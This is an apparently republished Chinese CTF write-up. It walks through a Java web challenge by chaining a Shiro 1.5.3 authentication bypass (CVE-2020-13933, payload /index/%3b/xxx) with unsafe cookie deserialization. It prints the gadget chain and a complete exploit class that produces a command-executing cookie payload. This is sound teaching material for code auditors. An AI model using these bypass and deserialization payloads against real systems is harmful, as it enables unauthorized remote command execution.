Java反序列化漏洞从入门到关门 | xxxJava反序列化漏洞从入门到关门 – xxx
菜单

Java反序列化漏洞从入门到关门

五月 22, 2021 - FreeBuf

本文基于一次内部小范围比赛题目的复现,简单聊聊Java代码审计中的反序列化漏洞。

0x00 前言

近年来,工作中Java Web的项目越来越常见,并且逐渐取代了前几年php的辉煌地位。

在众多Java Web漏洞中,反序列化漏洞独树一帜,大量框架或者中间件都存在反序列化漏洞,它们被大佬们钟爱,并且翻过来覆过去的反复蹂躏,,例如:ShiroFastjsonJBossWebLogicStructs2等等。

本文基于一次内部小范围比赛题目的复现,简单聊聊Java代码审计中的反序列化漏洞,以及其他漏洞的组合利用。由于学习门槛降低,各大学习论坛或网站上存在大量优秀的Java反序列化的入门文章,里面对Java的基本概念以及反序列化的基础有着详细的描述和讲解。本文不再赘述Java反序列化中的简单概念,仅从题目本身入手。

0x01 正文

题目本身是Web题目,并且提供了源码。

打开页面,登录窗口。

Java反序列化漏洞从入门到关门

页面仅有一个登录窗口,尝试一波弱口令,无结果。

然后去看代码,jar包导入JD-GUI,随便点点。

大致文件结构如下:

Java反序列化漏洞从入门到关门

其中ShiroConfig.class内容如下:

Java反序列化漏洞从入门到关门

简单审计发现,index内容需要认证,也就是需要登录。

查看index对应的IndexController.class,发现存在反序列化点。

Java反序列化漏洞从入门到关门

具体代码如下:

if (cookies != null) {       for (Cookie c : cookies) {         if (c.getName().equals("userinfo")) {           exist = true;           cookie = c;           break;         }        }      }     if (exist) {       byte[] bytes = Tools.base64Decode(cookie.getValue());       user = (User)Tools.deserialize(bytes);     } else {       user = new User();       user.setId(1);       user.setName(name);       cookie = new Cookie("userinfo", Tools.base64Encode(Tools.serialize(user)));       response.addCookie(cookie);     }  

当访问index时,并且存在cookiekeyuserinfo时,会对其value进行deserialize

过程如下:

cookie[userinfo] --> base64decode --> deserialize

暂时思路是,登录之后,通过cookie进行反序列化。

但是由MyRealm.class可知,密码是随机的。

Java反序列化漏洞从入门到关门

具体代码如下:

return new SimpleAuthenticationInfo(username, UUID.randomUUID().toString().replaceAll("-", ""), getName()); 

再由lib中的BOOT-INF.lib.shiro-spring-1.5.3.jar可知,shiro版本为 1.5.3 ,存在CVE-2020-13933权限绕过漏洞。

根据 https://xz.aliyun.com/t/8230 可知,常用payload/index/%3bxxx

但存在过滤器AllFilter.class

Java反序列化漏洞从入门到关门

public class AllFilter implements IAllFilter {   public String filter(String param) {     String[] keyWord = { "'", """, "select", "union", "/;", "/%3b" };     for (String i : keyWord) {       param = param.replaceAll(i, "");     }     return param;   } } 

AllFilter会对payload的字符进行过滤,经过尝试,最终有效payload/index/%3b/xxx

绕过权限之后,发现后台为日志记录。

Java反序列化漏洞从入门到关门

涉及到LogHandler.class,在之后的后续反序列化会用到。

绕过权限之后,想办法反序列化。

要序列化的条件是,必须继承Java.io.Serializable接口。

在代码中寻找可被利用的class

发现LogHandler.class

Java反序列化漏洞从入门到关门

其中存在命令执行点

public class LogHandler extends HashSet implements InvocationHandler {   private static final long serialVersionUID = 1L;   private String readLog = "tail /tmp/accessLog"; private Object target;   private String writeLog = "echo /test >> /tmp/accessLog";      public LogHandler() {}   public LogHandler(Object target) { this.target = target; }      public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {     Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));     return method.invoke(this.target, args);   }   public String toString() { return Tools.exeCmd(this.readLog); } } 

LogHandler继承了HashSet

HashSet继承了Java.io.Serializable接口。

HashSet部分代码如下:

package Java.util;  import Java.io.InvalidObjectException; import sun.misc.SharedSecrets;  public class HashSet<E>     extends AbstractSet<E>     implements Set<E>, Cloneable, Java.io.Serializable{     static final long serialVersionUID = -5024744406713321676L;     ...... 

之后的pop链为:

deserialize --> LogHandler --> toString --> exeCmd (readLog)

条件:readLog可控 。

readLog为私有属性,可通过Java的反射机制访问属性值。

方法说明
getDeclaredField(String name)获得某个属性对

例如:

import Java.lang.reflect.*; public class AccessAttribute {     public static void main(String[] args) throws Exception {                  Field aaa= UserClass.getDeclaredField("name");         aaa.setAccessible(true);//私有属性,设置可访问         aaa.set(user, "liuxigua");     } } 

最终目的:寻找某个Java原生类,要求:重写readObject方法并且可调用可控类的toString方法。

最后百度查到BadAttributeValueExpException,并且很多Java反序列化的Gadgets均用到了此类

BadAttributeValueExpException部分代码如下:

public class BadAttributeValueExpException extends Exception   {      private static final long serialVersionUID = -3105272988410493376L;      private Object val;      public BadAttributeValueExpException (Object val) {         this.val = val == null ? null : val.toString();     }      public String toString()  {         return "BadAttributeValueException: " + val;     }      private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {         ObjectInputStream.GetField gf = ois.readFields();         Object valObj = gf.get("val", null);          if (valObj == null) {             val = null;         } else if (valObj instanceof String) {             val= valObj;         } else if (System.getSecurityManager() == null                 || valObj instanceof Long                 || valObj instanceof Integer                 || valObj instanceof Float                 || valObj instanceof Double                 || valObj instanceof Byte                 || valObj instanceof Short                 || valObj instanceof Boolean) {             val = valObj.toString();         } else {              val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();         }     }  } 

可通过将val设置为logHandler类,最终在readObject时调用其toString方法。

BadAttributeValueExpException (val)  -->  LogHandler(readLog).toString()  -->  serialize   -->  base64encode   cookie[userinfo]  -->  base64decode  --> deserialize -->  LogHandler  -->  toString  -->  exeCmd (readLog) 

最终Gadgets

Javax.management.BadAttributeValueExpException.readObject() -->tools.logHandler.toString()-->  tools.Tools.exeCmd() 

注意:payload的代码结构与文件位置需要与服务端代码结构与文件位置保持一致

package com.test.JavaWeb; import Javax.management.BadAttributeValueExpException; import com.test.JavaWeb.tools.Tools; import com.test.JavaWeb.tools.LogHandler; import Java.lang.reflect.Field;  public class Exp {     public static void main(String[] args) throws Exception{         LogHandler logHandler = new LogHandler();         Field readLogField = LogHandler.class.getDeclaredField("readLog");         readLogField.setAccessible(true);         readLogField.set(logHandler,"touch /tmp/123");          BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("");         Field valField = BadAttributeValueExpException.class.getDeclaredField("val");         valField.setAccessible(true);         valField.set(badAttributeValueExpException,logHandler);         byte[] bytes = Tools.serialize(badAttributeValueExpException);         System.out.println(Tools.base64Encode(bytes));     } } 

生成payload之后,在cookieuserinfo值填入,可执行命令。

Java反序列化漏洞从入门到关门

0x02 总结

众所周知,Java代码开发与Java代码审计,并不是充分必要条件。

你问我懂不懂Java,那我当然是不懂的。

你问我能不能搞Java代码审计,其实也不是不能搞。

作者:Obsidian

本文作者:, 转载请注明来自FreeBuf.COM

# 渗透测试 # web安全 # CTF

Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51